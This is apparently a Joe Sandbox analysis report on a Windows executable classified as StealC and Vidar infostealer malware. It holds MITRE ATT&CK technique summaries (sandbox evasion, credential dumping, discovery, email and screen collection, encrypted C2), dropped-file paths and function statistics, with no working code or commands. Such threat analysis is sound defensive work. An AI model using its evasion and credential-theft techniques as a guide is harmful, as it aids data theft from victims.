Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCFHJJECAEHJJKEHIDB

C:\ProgramData\BGCBGCAFIIECBFIDHIJKFBAKEG

C:\ProgramData\EBGCGHID

C:\ProgramData\GHDHJEBFBFHJECAKFCAA

C:\ProgramData\IDAAKEHJDHJKEBFHJEGD

C:\ProgramData\IIIECAAKECFHIECBKJDHIJKJDH

C:\ProgramData\JEBFIIIE

C:\ProgramData\KEHDBAEGIIIEBGCAAFHIDHDBFB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Function 027545C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Function 02760250 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Function 02769860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 0275BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C7F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 02764910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 02769010 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre